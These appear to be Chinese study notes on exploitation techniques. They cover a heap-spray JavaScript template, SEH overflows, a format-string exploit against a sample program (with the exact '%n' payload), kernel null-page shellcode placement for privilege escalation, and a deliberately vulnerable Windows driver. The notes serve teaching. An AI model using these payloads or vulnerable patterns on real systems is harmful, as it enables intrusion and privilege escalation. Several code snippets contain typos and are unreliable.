- 將dll注入到IE瀏覽器中,觸發(fā)漏洞(傳一個(gè)精心構(gòu)造的字符串,把棧上老eip設(shè)置成0x0c0c0c0c)
<!-----------------------------------------------------------------------------------
To be the apostrophe which changed "Impossible" into "I'm possible"!
POC code of chapter 6 in book "Vulnerability Exploit and Analysis Technique"
file name : heap_spray.txt
author : failwest
date : 2007.10.05
description : sample java script code for heap spray
Noticed : need to be run by browser
version : 1.0
E-mail : failwest@gmail.com
Only for educational purposes enjoy the fun from exploiting :)
--------------------------------------------------------------------------------------->
<script language="javascript">
var shellcode=unescape("....." ) ;//存放shellcode的內(nèi)容,unescape解碼 十六進(jìn)制編碼->unicode編碼:\xc66\x45->\u45c6
var nop=unescape("%u9090%u9090");//unescape解碼
while (nop.length<= 0x100000/2)
{
nop+=nop;
}
//generate 1MB memory block which full filled with "nop"
//0x100000/2即2^21/2=2^20即1MB 0001 0000 0000 0000 0000 0000
//malloc header = 32 bytes
//string length = 4 bytes
//NULL terminator = 2 bytes
//
nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 );
var slide = new Array();//fill 200MB heap memory with our block
for (var i=0; i<200; i++)
{
slide[i] = nop + shellcode;//每1M都由0x90 0x90 0x90 0x90 0x90 0x90... shellcode \0\0組成
}
</script>
@todo
SEH溢出
/// 結(jié)構(gòu)化異常處理函數(shù)
_try
{
strcpy(buf,input);
zero = 4/zero; //Floating point exception @todo
}
_except(MyExceptionhandler()){} //定義自己的異常處理函數(shù),一旦發(fā)生4/0,就會(huì)調(diào)用異常處理函數(shù)
- OllyDbg菜單
“View”
中的"SEH chain"
, Ollydbg 會(huì)顯示出目前棧中所有的S.E.H
- S.E.H結(jié)構(gòu)體存放在系統(tǒng)棧中。異常處理函數(shù)放在一個(gè)鏈表里面,然后該鏈表的頭地址放在棧上。
- 當(dāng)線程初始化時(shí),會(huì)自動(dòng)向棧中安裝一個(gè) S.E.H,作為線程默認(rèn)的異常處理。
- 如果程序源代碼中使用了
_try{}_except{ }
或者Assert
宏等異常處理機(jī)制,編譯器將最終通過(guò)向當(dāng)前函數(shù)棧幀中安裝一個(gè)S.E.H來(lái)實(shí)現(xiàn)異常處理。(就是說(shuō)在函數(shù)棧上除了ret的函數(shù)的返回地址
,還有保存著一個(gè)異常處理函數(shù)的地址
,可以像覆蓋ret的地址那樣去覆蓋異常處理函數(shù)的地址,讓其執(zhí)行shellcode
) - 棧中一般會(huì)同時(shí)存在多個(gè)S.E.H.
- 棧中的多個(gè)S.E.H通過(guò)鏈表指針在棧內(nèi)由
棧項(xiàng)
向棧底
串成單向鏈表
,位于鏈表最頂端
的S.E.H
通過(guò)T.E.B
(線程環(huán)境塊) 0字節(jié)偏移處的指針標(biāo)識(shí)。 - 當(dāng)異常發(fā)生時(shí),操作系統(tǒng)會(huì)
中斷
程序,并首先從T.E.B的0
字節(jié)偏移處取出距離棧頂最近的S.E.H
,使用異常處理函數(shù)句柄所指向的代碼來(lái)處理異常。 - 當(dāng)離“事故現(xiàn)場(chǎng)”最近的異常處理函數(shù)運(yùn)行
失敗
時(shí),將順著S.E.H 鏈表依次嘗試其他的。 - 如果程序安裝的所有異常處理函數(shù)
都
不能處理,系統(tǒng)將采用默認(rèn)
的異常處理函數(shù)。通常,這個(gè)函數(shù)會(huì)彈出一個(gè)錯(cuò)誤對(duì)話框
,然后強(qiáng)制關(guān)閉程序
。
- 防御SEH溢出
- 把所有的SEH放入
白名單
里面,調(diào)用異常處理函數(shù)之前進(jìn)行校驗(yàn)
- 把所有的SEH放入
格式化字符串漏洞原理分析
原理
- 字符
- char/sigined char/unsigned char是不同的類型,但int/sigined int是一樣的
std::out<<std::is_same<char,char>::value<<std::endl; //TRUE
std::out<<std::is_same<char,sigined char>::value<<std::endl; //FALSE
std::out<<std::is_same<char,sunigined char>::value<<std::endl; //FALSE
std::out<<std::is_same<int,int>::value<<std::endl; //TRUE
std::out<<std::is_same<int,sigined int>::value<<std::endl; //FALSE
- 字符編碼(Character encoding)也稱字集碼,是把字符集中的字符編碼為指定集合中某一對(duì)象(例如:比特模式、自然數(shù)序列、8位組或者電脈沖),以便文本在計(jì)算機(jī)中存儲(chǔ)和通過(guò)通信網(wǎng)絡(luò)的傳遞。常見的例子包括將拉丁字母表編碼成摩斯電碼和ASCII。其中,ASCII將字母、數(shù)字和其它符號(hào)編號(hào),并用7比特的二進(jìn)制來(lái)表示這個(gè)整數(shù)。通常會(huì)額外使用一個(gè)擴(kuò)充的比特,以便于以1個(gè)字節(jié)的方式存儲(chǔ)。
-
ASSCII
:美國(guó)(國(guó)家)信息交換標(biāo)準(zhǔn)(代)碼,一種使用7個(gè)或8個(gè)二進(jìn)制位進(jìn)行編碼的方案,最多可以給256個(gè)字符(包括字母、數(shù)字、標(biāo)點(diǎn)符號(hào)、控制字符及其他符號(hào))分配(或指定)數(shù)值。 -
GB2312
:也是ANSI編碼里的一種,對(duì)ANSI編碼最初始的ASCII編碼進(jìn)行擴(kuò)充,為了滿足國(guó)內(nèi)在計(jì)算機(jī)中使用漢字的需要,中國(guó)國(guó)家標(biāo)準(zhǔn)總局發(fā)布了一系列的漢字字符集國(guó)家標(biāo)準(zhǔn)編碼,統(tǒng)稱為GB碼,或國(guó)標(biāo)碼。 -
GBK
:即漢字內(nèi)碼擴(kuò)展規(guī)范,K為擴(kuò)展的漢語(yǔ)拼音中“擴(kuò)”字的聲母。英文全稱Chinese Internal Code Specification。GBK編碼標(biāo)準(zhǔn)兼容GB2312,共收錄漢字21003個(gè)、符號(hào)883個(gè),并提供1894個(gè)造字碼位,簡(jiǎn)、繁體字融于一庫(kù)。 -
unicode
:世界上存在著多種編碼方式,在ANSi編碼下,同一個(gè)編碼值,在不同的編碼體系里代表著不同的字。在簡(jiǎn)體中文系統(tǒng)下,ANSI 編碼代表 GB2312 編碼,在日文操作系統(tǒng)下,ANSI 編碼代表 JIS 編碼,可能最終顯示的是中文,也可能顯示的是日文。在ANSI編碼體系下,要想打開一個(gè)文本文件,不但要知道它的編碼方式,還要安裝有對(duì)應(yīng)編碼表,否則就可能無(wú)法讀取或出現(xiàn)亂碼。為什么電子郵件和網(wǎng)頁(yè)都經(jīng)常會(huì)出現(xiàn)亂碼,就是因?yàn)樾畔⒌奶峁┱呖赡苁侨瘴牡腁NSI編碼體系和信息的讀取者可能是中文的編碼體系,他們對(duì)同一個(gè)二進(jìn)制編碼值進(jìn)行顯示,采用了不同的編碼,導(dǎo)致亂碼。這個(gè)問(wèn)題促使了unicode碼的誕生。 - 如果有一種編碼,將世界上所有的符號(hào)都納入其中,無(wú)論是英文、日文、還是中文等,大家都使用這個(gè)編碼表,就不會(huì)出現(xiàn)編碼不匹配現(xiàn)象。每個(gè)符號(hào)對(duì)應(yīng)一個(gè)唯一的編碼,亂碼問(wèn)題就不存在了。這就是Unicode編碼。
-
UTF-8
:為了提高Unicode的編碼效率,于是就出現(xiàn)了UTF-8編碼。UTF-8可以根據(jù)不同的符號(hào)自動(dòng)選擇編碼的長(zhǎng)短。比如英文字母可以只用1個(gè)字節(jié)就夠了。 -
Base64
:有的電子郵件系統(tǒng)(比如國(guó)外信箱)不支持非英文字母(比如漢字)傳輸,這是歷史原因造成的(認(rèn)為只有美國(guó)會(huì)使用電子郵件?)。因?yàn)橐粋€(gè)英文字母使用ASCII編碼來(lái)存儲(chǔ),占存儲(chǔ)器的1個(gè)字節(jié)(8位),實(shí)際上只用了7位2進(jìn)制來(lái)存儲(chǔ),第一位并沒有使用,設(shè)置為0,所以,這樣的系統(tǒng)認(rèn)為凡是第一位是1的字節(jié)都是錯(cuò)誤的。而有的編碼方案(比如GB2312)不但使用多個(gè)字節(jié)編碼一個(gè)字符,并且第一位經(jīng)常是1,于是郵件系統(tǒng)就把1換成0,這樣收到郵件的人就會(huì)發(fā)現(xiàn)郵件亂碼。
-
- 字符串
-
寬字節(jié)
字符串
L"hello world中國(guó)" 每個(gè)字符占2個(gè)字節(jié) -
多字節(jié)
字符串
“hello world中國(guó)”hello world
每個(gè)字符占1個(gè)字節(jié),中國(guó)
每個(gè)字符占2個(gè)字節(jié)
-_T("hello world")
這個(gè)宏
根據(jù)工程的設(shè)置,自適應(yīng)變成寬字節(jié)
或者多字節(jié)
-
ANSI_STRING
字符串不是'\0'
結(jié)尾,是一個(gè)結(jié)構(gòu)體(有buffer,length) -
UNICODE_STRING
字符串不是'\0'
結(jié)尾,內(nèi)核統(tǒng)一使用的字符串格式
-
- 0、L’0’、‘0’、
'\0'
、“0”、FALSE、false、NULL-
0
,int(4Byte),0x00000000 -
L'0'
,wchar_t(2Byte),0x0030 -
'0'
,char(1Byte),0x30 -
'\0'
,char(1Byte),0x00 -
"0"
,char*(2Byte),0x3000("0\0"
) -
FALSE
,BOOL(4Byte),0x00000000 -
false
,bool(1Byte),0x00 NULL
-
/// C
#define NULL(viod*)0
/// C++98,C++不允許直接使用void*隱式的轉(zhuǎn)化為其他類型,如果NULL被定義為((viod*)0),當(dāng)編譯char *p = NULL;就會(huì)報(bào)錯(cuò)。
#define NULL 0
/// 如果NULL 被定義為0,C++中的函數(shù)重載就會(huì)出問(wèn)題
void func(int); //因?yàn)镹ULL是0,實(shí)際上是調(diào)用這個(gè)函數(shù),不符合預(yù)期,這是是C++98遺留的問(wèn)題
void func(char*); //當(dāng)把NULL傳給func,期待是調(diào)用這個(gè)函數(shù)
/// C++11,引入了nullptr類型,不是整數(shù)類型,能夠隱式的轉(zhuǎn)換成任何指針,所以用空指針推薦使用nullptr。
/// NULL的發(fā)明人東尼.霍爾(Toby Hoare)圖靈獎(jiǎng)得主,把NULL引用稱為十億美元的錯(cuò)誤
/// 有不使用NULL的語(yǔ)言,Rust就是,一個(gè)數(shù)據(jù)可能有值可能沒有值,需要把它放到Option里面,這樣編譯器在處理Option的時(shí)候會(huì)強(qiáng)制去判斷它是否有值,如果沒有值,就需要程序員去處理沒有值的情況,否則編譯無(wú)法通過(guò)。
enum Option <T>{ //標(biāo)識(shí)一個(gè)值無(wú)效或者缺失
Some(T), //T是泛型,可以包含任何數(shù)據(jù)
None,
}
- 字符<–>數(shù)字
- atoi(“123”);
- itoa(123,buf);
- printf
- 打印格式:%
[flags]``[width]``[.precision]``[{h|l|ll|w|I|I32|I64|}]
type -
%c
以char(2Byte)字符格式打印 -
%wc
以wchar_t(2Byte)字符格式打印 -
%d
以int(4Byte)格式打印 -
%hd
以short(2Byte)格式打印 -
%ld
以long(4Byte)格式打印 -
%I64d
以_int64
(8Byte)格式打印 -
%lld
以long long或者_int64
(8Byte)格式打印 -
%s
以多字節(jié)
字符串格式打印 -
%ws
以寬字節(jié)
字符串格式打印 -
%u
以u(píng)nsigned格式打印 -
%#x
以16進(jìn)制格式打印#
表示帶前綴0x
-
%02x
以16進(jìn)制格式打印02
表示不足兩位補(bǔ)零 -
%o
以8進(jìn)制格式打印 -
%#o
以8進(jìn)制格式打印#
表示帶前綴0
-
%02o
以8進(jìn)制格式打印02
表示不足兩位補(bǔ)零 -
%p
以指針格式打印 -
%f
以float(4Btye)格式打印 -
%.2f
以float(4Btye)格式打印,.2
表示保留小數(shù)點(diǎn)后兩位 -
%lf
以double(2Byte)格式打印 -
%Z
以ANSI_STRING
字符串格式打印 -
%wZ
以UNICODE_STRING
字符串格式打印 -
%%
打印一個(gè)%
-
%n
,把前面打印的字符總數(shù)寫入到變量里面去,現(xiàn)在已經(jīng)被編譯器禁用
了,編譯
能通過(guò)
但執(zhí)行
的時(shí)候會(huì)報(bào)錯(cuò)
。 -
%01000x%n
把前面打印的字符總數(shù)1000
個(gè)0
寫入到變量里面去,0
表示用0填充,%1000x
表示以16進(jìn)制格式重復(fù)打印1000個(gè)字符,x可以替換為c(以char格式打印,還是一個(gè)字節(jié))
- 打印格式:%
int len = 0;
printf("%n",&len) //把前面打印的"helloworld"字符總數(shù)10(不包括'\0','\0'只是截?cái)鄻?biāo)記,并不會(huì)打印,也無(wú)法打印來(lái))寫入到len里面去
printf("%1000x%n",'x',&len)
/// 兩種打印方式,效果一樣,都是安全的
printf("%s", "hello world");
printf("hello world");
/// C語(yǔ)言不是類型安全的語(yǔ)言,傳入什么數(shù)據(jù)都可以執(zhí)行
void Print(char *buf) {
printf(buf); //printf("%d,%s,%p,...");這里字符串后面沒有跟參數(shù),編譯器會(huì)從棧上找到對(duì)應(yīng)的變量傳給printf打印出來(lái),從而知道棧上的內(nèi)存布局,找到關(guān)鍵位置的邊界、敏感數(shù)據(jù)的位置,為下次溢出攻擊做準(zhǔn)備。比如心臟流血漏洞,把服務(wù)端棧上的數(shù)據(jù)(用戶名和密碼)返回給客戶端
printf("%s",buf); //這樣的用法是安全的,只會(huì)打印出"%d,%s,%p,..."
}
Print("hello world"); //正常情況下這樣使用沒有問(wèn)題
Print("%d,%s,%p,..."); //如果構(gòu)造了一個(gè)格式化字符串,就會(huì)觸發(fā)格式化字符串漏洞,這只是一個(gè)讀操作
int len = 0;
Print("helloworld%n...",&len) //這是寫操作,危害性更大,把前面打印的"helloworld"字符總數(shù)寫入到len里面去
/// 如果后面有一個(gè)判斷,可以修改len來(lái)突破判斷
if(len>=10)
//登陸成功
else
//登陸失敗
實(shí)戰(zhàn)
/// test.c
#include<stdio.h>
#include<stdlib.h>
int secret = 0x200;
void get_flag()
{
system("cat ./1.txt"); //把當(dāng)前目錄下的1.txt文件打印出來(lái)
}
int main(int argc,char** argv)
{
int *p = &secret; //沒有這個(gè)指令,那linux上用`%02021xn$hn`修改棧上的參數(shù)就起不了作用了,因?yàn)閟ecret是初始化的全局變量,存放在靜態(tài)區(qū)的.data中,不存在棧上。
//printf("%p\n",p);
printf(argv[1]); //命令行方式運(yùn)行程序,用戶輸入傳給該程序的參數(shù),直接打印,這里有格式化串漏洞
if(secret == 2021) //正常情況下,secret永遠(yuǎn)不會(huì)從0x200變成2021
{
get_flag();
}
return 1;
}
- 思路
- 在windows,現(xiàn)在已經(jīng)被編譯器禁用了,編譯能
通過(guò)
但執(zhí)行的時(shí)候會(huì)報(bào)錯(cuò)
。-
test ""%02021x%n",'x',&secret"
將secret的值修改成2021
-
- 在linux上:
./test ""%02021x%n",'x',&secret"
將secret的值修改成2021也不行 - 通過(guò)python作為標(biāo)準(zhǔn)輸出傳給test也不行
-
在linux上另一個(gè)思路
:- 找到secret變量的地址
-
./test "%p,%p,%p,%p,%p,%p,%p,%p,%p,%p"
把printf棧上的參數(shù)(%p以4個(gè)字節(jié)為基本單位(x86上棧對(duì)齊是4Byte)打印參數(shù)
的地址,形參和上層??臻g(ret往下的??臻g都認(rèn)為是參數(shù))都可以被打印)的地址都打印出來(lái),根據(jù)secret地址
確定secret在printf中是第n
參數(shù) -
%02021x%n$hn
把printf的第n
個(gè)參數(shù)的2
Byte修改為2021-
%02021x%
表示把把前面打印的字符總數(shù)2021
個(gè)0
寫入到變量里面去,0
表示用0填充,%1000x
表示以16進(jìn)制格式重復(fù)打印1000個(gè)字符,x可以替換為c(以char格式打印,還是一個(gè)字節(jié)) -
n$
表示修改第n個(gè)參數(shù)的值 -
hn
表示2Byte,n
表示4Byte
-
-
"%02021x%9$hn"
通過(guò)python作為標(biāo)準(zhǔn)輸出傳給test
./test "$(python -c 'import sys;sys.stdout.write("%02021x%9$hn")')"
內(nèi)核漏洞分類與分析
內(nèi)核漏洞分類
- 拒絕服務(wù)(DOS):讓系統(tǒng)崩潰藍(lán)屏
- 緩存區(qū)溢出:內(nèi)核也有緩沖區(qū)
- 內(nèi)存篡改
- 任意地址寫任意數(shù)據(jù):和堆溢出的思路不一樣,但效果一樣
- 固定地址寫任意數(shù)據(jù)
- 任意地址寫固定數(shù)據(jù)
- 設(shè)計(jì)缺陷:邏輯漏洞,考慮不周全,校驗(yàn)不全
- 比如:找回密碼,用戶在客戶端輸入Email,攻擊者抓包把Email改了,導(dǎo)致找回的密碼發(fā)到攻擊者手上了。
內(nèi)核漏洞分析思路
- 搭建好環(huán)境,拿到POC代碼
- 找到漏洞觸發(fā)的位置
- 開源的系統(tǒng):Linux和Android等
- 源碼分析
- 非開源的系統(tǒng):Windows,MacOS等
- 反匯編分析
- 補(bǔ)丁對(duì)比:更新前和更新后更改的部分
- POC分析
- 藍(lán)屏分析
- 模型對(duì)比:將漏洞的觸發(fā)方式和以前學(xué)過(guò)的漏洞進(jìn)行對(duì)比,從而知道漏洞的利用方法
- 分析根本原因和修補(bǔ)方法
拒絕服務(wù)攻擊
- DOS(Denial-of-Service Attack)
- 不要使用
MmIsAddressValid
函數(shù),這個(gè)函數(shù)對(duì)于校驗(yàn)內(nèi)存結(jié)果是 unreliable 的。
- 首先,他只能判斷一個(gè)字節(jié)地址的有效性 :
(一個(gè)物理內(nèi)存頁(yè)是4k,只需要一個(gè)字節(jié)有效,則認(rèn)為整個(gè)內(nèi)存頁(yè)是有效的)
比如:
if(MmIsAdressValid(p1){ ///< 判斷內(nèi)存地址P1是否有效
/// C庫(kù)函數(shù)int memcmp(const void *str1, const void *str2, size_t n)) 把存儲(chǔ)區(qū)str1和存儲(chǔ)區(qū) str2的前n個(gè)字節(jié)進(jìn)行比較
/// @warning 攻擊者只需要傳遞第一個(gè)字節(jié)在有效頁(yè),而第二個(gè)字節(jié)在無(wú)效頁(yè)的內(nèi)存就會(huì)導(dǎo)致系統(tǒng)崩潰, 例如 0x7000 是有效頁(yè),0x8000 是無(wú)效頁(yè),攻擊者傳入p1=0x7fff
memcmp(p1,p2,len);
}
- 其次,MmIsAddressValid 對(duì)于
pageout
的頁(yè)面不能準(zhǔn)確的判斷(MmIsAddressValid 對(duì)pageout的內(nèi)存的返回值是Ture或者False是不能確定的 ),所以攻擊者可以利用你的判斷失誤來(lái)繞過(guò)你的保護(hù)。
- ObReferenceObjectByHandle 未指定類型
對(duì)于用戶態(tài)句柄使用 ObRefenceObjectByHandle(根據(jù)句柄拿到內(nèi)核對(duì)象,因?yàn)榫浔豢邕M(jìn)程只在同一個(gè)進(jìn)程有效,如果把句柄傳給另一個(gè)進(jìn)程,它是無(wú)效的。所以一般是拿到handle之后直接得到它的fileobject), 不指定類型仍可以獲得對(duì)應(yīng)的對(duì)象地址,但如果你直接訪問(wèn)這個(gè)對(duì)象,就會(huì)引發(fā)漏洞常見的錯(cuò)誤:
/// 把文件的句柄轉(zhuǎn)換成文件的內(nèi)核對(duì)象
/// @warning 沒有指定一個(gè)句柄的類型,攻擊者可以傳入非文件類型的句柄從而造成系統(tǒng)漏洞,得到其他類型的內(nèi)核對(duì)象,對(duì)應(yīng)的結(jié)構(gòu)體的定義里很可能可能沒有FileName,就會(huì)行為未定義或者無(wú)效內(nèi)存,下面調(diào)用wcsnicmp訪問(wèn)FileName,系統(tǒng)會(huì)崩潰,造成藍(lán)屏。
///沒有指定一個(gè)句柄的類型如果指定了句柄的類型,即使攻擊者故意發(fā)下來(lái)句柄和指定的不符,函數(shù)會(huì)執(zhí)行失敗,從而wcsnicmp會(huì)發(fā)現(xiàn)這個(gè)失敗,就不會(huì)去訪問(wèn)fileobject->FileName了
ObReferenceObjectByHandle(FileHandle , Access , NULL(ObjectType) ,...&fileobject);
/// 再訪問(wèn)文件內(nèi)核對(duì)象的文件路徑 wcsnicmp把文件內(nèi)核對(duì)象的文件路徑與某一路徑進(jìn)行比較
if(wcsnicmp(fileobject->FileName....)
任意地址寫入任意數(shù)據(jù)提權(quán)
思路
-
neither io
:應(yīng)用層直接傳一個(gè)地址addr到驅(qū)動(dòng),又傳一個(gè)值value到驅(qū)動(dòng),然后賦值((addr) = value)- 沒有校驗(yàn)的話,應(yīng)用層就可以傳任意一個(gè)
R0
的地址下來(lái),又傳一個(gè)值value(通常是0
,可以繞過(guò)微軟的檢查,分配一個(gè)以0為起始地址的內(nèi)存)到驅(qū)動(dòng),然后賦值(r0的任意函數(shù)的地址
=shellcode的地址
(0x00000000)(R0的shellcode存放在R3中以0
地址為起始地址的內(nèi)存中))
- 沒有校驗(yàn)的話,應(yīng)用層就可以傳任意一個(gè)
- 內(nèi)核地址:比如某個(gè)表中的函數(shù)地址,一般要選擇
低頻率被調(diào)用
的函數(shù),沒有人調(diào)用最好。- 首先觸發(fā)不是考慮的核心,因?yàn)榭梢宰约赫{(diào)用該函數(shù)來(lái)觸發(fā),所以選擇的函數(shù)函數(shù)
低頻率被調(diào)用
沒有問(wèn)題。 - 更重要的是,在利用漏洞的應(yīng)用進(jìn)程中分配一個(gè)以0地址為起始地址的內(nèi)存來(lái)存放
shellcode
,在當(dāng)前應(yīng)用進(jìn)程
空間中通過(guò)調(diào)用目標(biāo)內(nèi)核函數(shù)
來(lái)調(diào)用shellcode沒有問(wèn)題,一旦切換了進(jìn)程
,進(jìn)程上下文進(jìn)行了切換,新調(diào)度上cpu的進(jìn)程調(diào)用這個(gè)目標(biāo)函數(shù),訪問(wèn)shellcode就會(huì)出問(wèn)題,因?yàn)檫@時(shí)候的shellcode對(duì)于新進(jìn)程
來(lái)說(shuō)是無(wú)效內(nèi)存
(進(jìn)程之間是相互隔離的,內(nèi)存是各自私有
的),就會(huì)系統(tǒng)奔潰藍(lán)屏。
- 首先觸發(fā)不是考慮的核心,因?yàn)榭梢宰约赫{(diào)用該函數(shù)來(lái)觸發(fā),所以選擇的函數(shù)函數(shù)
- 任意數(shù)據(jù):想辦法將該內(nèi)核地址的值設(shè)置為0
- 在R3里分配一個(gè)0地址內(nèi)存(調(diào)用
ZwAllocateVirtualMemory
),并將R0 shellcode
拷貝到此內(nèi)存空間
NTSTATUS ZwAllocateVirtualMemory(
_In_ HANDLE ProcessHandle
_Inout_ PVOID *BaseAddress, //將BaseAddress 指向0傳入,這個(gè)函數(shù)會(huì)認(rèn)為你是想在任意可用的地址上分配內(nèi)存,而不是0 (系統(tǒng)不會(huì)把0地址內(nèi)存當(dāng)做可用到),繞過(guò)的方法:指定BaseAddress為一個(gè)低地址,比如1
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_I RegionSize,
_In_ ULONG AllocationType, //繞過(guò)的方法就是指定AllocationType為MEMTOP_DOWN也就是從高地址向低地址分配內(nèi)存,同時(shí)指定分配內(nèi)存的大小大于這個(gè)值,例如8192(2個(gè)內(nèi)存頁(yè))
//這樣分配成功后地址范圍就是0xFFFFE001(-8191)到1(把0地址包含在內(nèi)了,這里的內(nèi)存是寬度,比如-3到1是包含4Byte的空間,-3|_|_|_|_|1),此時(shí)再去嘗試向NULL指針執(zhí)行的地址寫數(shù)據(jù)(浪費(fèi)掉1到0這個(gè)Byte),會(huì)發(fā)現(xiàn)程序不會(huì)異常了。
_In_ ULONG Protect
);
- 促發(fā)內(nèi)核執(zhí)行該內(nèi)核地址代碼
shellcode
- 提升進(jìn)程的權(quán)限到system進(jìn)程
- windows最高權(quán)限不是管理員權(quán)限,而是system權(quán)限
- 1.注冊(cè)表訪問(wèn):
說(shuō)明:在非SYSTEM權(quán)限下,用戶是不能訪問(wèn)某些注冊(cè)表項(xiàng)的,比如"HKEY_ LOCAL MACHINEISAM"
、"HKEY_ LOCAL MACHINEISECURITY"
等。 這些項(xiàng)記錄的是系統(tǒng)的核心數(shù)據(jù),但某些病毒或者木馬經(jīng)常光顧這里。比如在SAM項(xiàng)目下建立具有管理員權(quán)限的隱藏賬戶,在默認(rèn)情況下管理員通過(guò)在命令行下敲入"net
user’或者在本地用戶和組"(lusrmgr.msc)中是無(wú)法看到的,給系統(tǒng)造成了很大的隱患。在SYSTEM’權(quán)限下,注冊(cè)表的訪問(wèn)就沒有任何障礙,一切黑手都暴露無(wú)遺! - 2.訪問(wèn)系統(tǒng)還原文件:
- 系統(tǒng)還原是windows系統(tǒng)的一種自我保護(hù)措施,它在每個(gè)根目錄下建立
System Colume Information
文件夾,保存一些系統(tǒng)信息以備系統(tǒng)恢復(fù)是使用。如果你不想使用系統(tǒng)還原,或者想刪除其下的某些文件,這個(gè)文件夾具有隱藏、系統(tǒng)屬性,非SYSTEM權(quán)限是無(wú)法刪除的(病毒和木馬獲取system權(quán)限之后把自己放到這個(gè)文件夾中保護(hù)起來(lái))。如果以SYSTEM權(quán)限登錄你就可以任意刪除了,甚至你可以在它下面建立文件,達(dá)到保護(hù)隱私的作用。
- 系統(tǒng)還原是windows系統(tǒng)的一種自我保護(hù)措施,它在每個(gè)根目錄下建立
- 3.更換系統(tǒng)文件:
- Windows系統(tǒng)為 系統(tǒng)文件做了保護(hù)機(jī)制一般情況下你是不可能更換
系統(tǒng)文件
的,因?yàn)橄到y(tǒng)中都有系統(tǒng)文件的備份,它存在于c:\WINDOWSlsysem32dll\cache
(假設(shè)你的系統(tǒng)裝在C盤)。 當(dāng)你更換了系統(tǒng)文件后,系統(tǒng)自動(dòng)就會(huì)從這個(gè)目錄中恢復(fù)相應(yīng)的系統(tǒng)文件。當(dāng)目錄中沒有相應(yīng)的系統(tǒng)文件的時(shí)候會(huì)彈出提示,讓你插入安裝盤。在實(shí)際應(yīng)用中如果有時(shí)你需要Diy自己的系統(tǒng)修改一些系統(tǒng)文件,或者用高版本的系統(tǒng)文件更換低版本的系統(tǒng)文件,讓系統(tǒng)功能提升。比如Window XP系統(tǒng)只支持一一個(gè)用戶遠(yuǎn)程登錄,如果你要讓它支持多用戶的遠(yuǎn)程登錄。要用Windows 2003的遠(yuǎn)程登錄文件替換Window XP的相應(yīng)文件。這在非SYSTEM權(quán)限下很難實(shí)現(xiàn),但是在SYSTEM權(quán)限下就可以很容易實(shí)現(xiàn)。
- Windows系統(tǒng)為 系統(tǒng)文件做了保護(hù)機(jī)制一般情況下你是不可能更換
- 4.手工殺毒:
- 用戶在使用電腦的過(guò)程中一般都是用Administrator或者其它的管理員用戶登錄的,中毒或者中馬后,病毒、木馬大都是以管理員權(quán)限運(yùn)行的。我們?cè)谙到y(tǒng)中毒后一般都是用殺毒軟件來(lái)殺毒,如果你的殺軟癱瘓了,或者殺毒軟件只能查出來(lái),但無(wú)法清除,這時(shí)候就只能赤膊上陣,手工殺毒了。在Adinistrator權(quán)限下,如果手工查殺對(duì)于有些病毒無(wú)能為力,一般要啟動(dòng)到安全模式下,有時(shí)就算到了安全模式下也無(wú)法清除干凈。如果以SYSTEM權(quán)限登錄,查殺病毒就容易得多。
- 恢復(fù)內(nèi)核hook和inlinehook
- 添加調(diào)用門,中斷門等
實(shí)戰(zhàn)
R0代碼
- 使用了
neither io
通信方式 - 沒有對(duì)R3傳下來(lái)的地址進(jìn)行
校驗(yàn)
- 任意地址寫入任意數(shù)據(jù)
/********************************************************************
created: 2010/12/06
filename: D:\0day\ExploitMe\exploitme.c
author: shineast
purpose: Exploit me driver demo
*********************************************************************/
#include <ntddk.h>
#define DEVICE_NAME L"\\Device\\ExploitMe"
#define DEVICE_LINK L"\\DosDevices\\DRIECTX1"
#define FILE_DEVICE_EXPLOIT_ME 0x00008888
#define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(FILE_DEVICE_EXPLOIT_ME,0x800,METHOD_NEITHER,FILE_WRITE_ACCESS)
//使用的是通信方式是neither io
//創(chuàng)建的設(shè)備對(duì)象指針
PDEVICE_OBJECT g_DeviceObject;
/**********************************************************************
驅(qū)動(dòng)派遣例程函數(shù)
輸入:驅(qū)動(dòng)對(duì)象的指針,Irp指針
輸出:NTSTATUS類型的結(jié)果
**********************************************************************/
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp)
{
PIO_STACK_LOCATION pIrpStack;//當(dāng)前的pIrp棧
PVOID Type3InputBuffer;//用戶態(tài)輸入地址
PVOID UserBuffer;//用戶態(tài)輸出地址
ULONG inputBufferLength;//輸入緩沖區(qū)的大小
ULONG outputBufferLength;//輸出緩沖區(qū)的大小
ULONG ioControlCode;//DeviceIoControl的控制號(hào)
PIO_STATUS_BLOCK IoStatus;//pIrp的IO狀態(tài)指針
NTSTATUS ntStatus=STATUS_SUCCESS;//函數(shù)返回值
//獲取數(shù)據(jù)
pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer;
UserBuffer = pIrp->UserBuffer;
inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
IoStatus=&pIrp->IoStatus;
IoStatus->Status = STATUS_SUCCESS;// Assume success
IoStatus->Information = 0;// Assume nothing returned
//根據(jù) ioControlCode 完成對(duì)應(yīng)的任務(wù)
switch(ioControlCode)
{
case IOCTL_EXPLOIT_ME:
if ( inputBufferLength >= 4 && outputBufferLength >= 4 )
{
*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer; //沒有對(duì)R3傳下來(lái)的地址進(jìn)行校驗(yàn),所以沒發(fā)現(xiàn)是內(nèi)核態(tài)地址,造成了任意地址寫入任意數(shù)據(jù)
IoStatus->Information = sizeof(ULONG);
}
break;
}
//返回
IoStatus->Status = ntStatus;
IoCompleteRequest(pIrp,IO_NO_INCREMENT);
return ntStatus;
}
/**********************************************************************
驅(qū)動(dòng)卸載函數(shù)
輸入:驅(qū)動(dòng)對(duì)象的指針
輸出:無(wú)
**********************************************************************/
VOID DriverUnload( IN PDRIVER_OBJECT driverObject )
{
UNICODE_STRING symLinkName;
KdPrint(("DriverUnload: 88!\n"));
RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
IoDeleteSymbolicLink(&symLinkName);
IoDeleteDevice( g_DeviceObject );
}
/*********************************************************************
驅(qū)動(dòng)入口函數(shù)(相當(dāng)于main函數(shù))
輸入:驅(qū)動(dòng)對(duì)象的指針,服務(wù)程序?qū)?yīng)的注冊(cè)表路徑
輸出:NTSTATUS類型的結(jié)果
**********************************************************************/
